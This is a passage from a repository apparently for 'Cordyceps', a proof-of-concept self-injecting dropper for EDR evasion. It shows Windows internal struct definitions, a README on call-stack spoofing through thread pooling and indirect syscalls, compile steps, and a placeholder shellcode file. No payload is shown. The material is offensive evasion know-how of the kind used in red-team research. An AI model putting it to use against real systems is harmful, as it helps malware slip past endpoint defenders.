CheckSum; 309 | }; 310 | }; 311 | union { 312 | ULONG TimeDateStamp; 313 | PVOID LoadedImports; 314 | }; 315 | PACTIVATION_CONTEXT EntryPointActivationContext; 316 | PVOID PatchInformation; 317 | LIST_ENTRY ForwarderLinks; 318 | LIST_ENTRY ServiceTagLinks; 319 | LIST_ENTRY StaticLinks; 320 | } LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; 321 | 322 | typedef struct _OBJECT_ATTRIBUTES { 323 | ULONG Length; 324 | PVOID RootDirectory; 325 | PUNICODE_STRING ObjectName; 326 | ULONG Attributes; 327 | PVOID SecurityDescriptor; 328 | PVOID SecurityQualityOfService; 329 | } OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES; 330 | 331 | typedef struct _INITIAL_TEB { 332 | PVOID StackBase; 333 | PVOID StackLimit; 334 | PVOID StackCommit; 335 | PVOID StackCommitMax; 336 | PVOID StackReserved; 337 | } INITIAL_TEB, * PINITIAL_TEB; -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Callstack spoofing + Indirect Syscalls POC 2 | This project consists of a simple C++ self-Injecting dropper focused on EDR evasion POC. To implement it, I have combined the use of **``Windows Thread Pooling``** to hide the call stack and the use of **``indirect syscalls``** to avoid hooking in the NTDLL. 3 |
4 | 5 | ![2023-10-08-23-22-35-Trim](https://github.com/pard0p/Cordyceps/assets/79936108/060db2ad-2c02-4501-bc86-5be0cff78711) 6 | 7 | ![image](https://github.com/pard0p/Cordyceps/assets/79936108/231e3722-9190-4846-88d9-66870acb7eb2) 8 | 9 | ![image](https://github.com/pard0p/Cordyceps/assets/79936108/742dee9c-7c91-41cb-9dd9-4a22985bfc5b) 10 | 11 | ![image](https://github.com/pard0p/Cordyceps/assets/79936108/aeefb8d2-cf8a-4d79-969a-7e195e878731) 12 | 13 | ![image](https://github.com/pard0p/Cordyceps/assets/79936108/eac6158f-f1f6-41f7-878f-2c1333a06b54) 14 | 15 | As can be seen in the images, from the Cordyceps code, it performs a jump to ntdll to utilize one of the syscall instructions. This should be considered a malicious action; however, upon executing the return in ntdll, we return to the code of tpWorker, which is located within ntdll. Thus, from the perspective of the antivirus (AV), ntdll would appear to be making a call to another part of ntdll, which is not considered malicious. 16 | 17 | ## Future Upgrades: 18 | - [x] Implement a mechanism to automatically search for the syscall number. 19 | - [ ] In-memory payload decryption. 20 | 21 | ## To compile: 22 | 23 | ```bash 24 | nasm -f win64 .\Assembly.asm -o .\Assembly.obj 25 | g++ -o poc.exe main.cpp Assembly.obj 26 | ``` 27 | 28 | ## Resources: 29 | 30 | https://0xdarkvortex.dev/hiding-in-plainsight/ 31 | 32 | https://redops.at/en/blog/direct-syscalls-vs-indirect-syscalls 33 | 34 | https://captmeelo.com/redteam/maldev/2022/05/10/ntcreateuserprocess.html 35 | 36 | https://klezvirus.github.io/RedTeaming/AV_Evasion/StackSpoofing/ 37 | 38 | https://medium.com/@sruthk/cracking-assembly-fastcall-calling-convention-in-x64-c6d77b51ea86 39 | -------------------------------------------------------------------------------- /Shellcode.h: -------------------------------------------------------------------------------- 1 | unsigned char code[] = " --- SHELCODE ---"; --------------------------------------------------------------------------------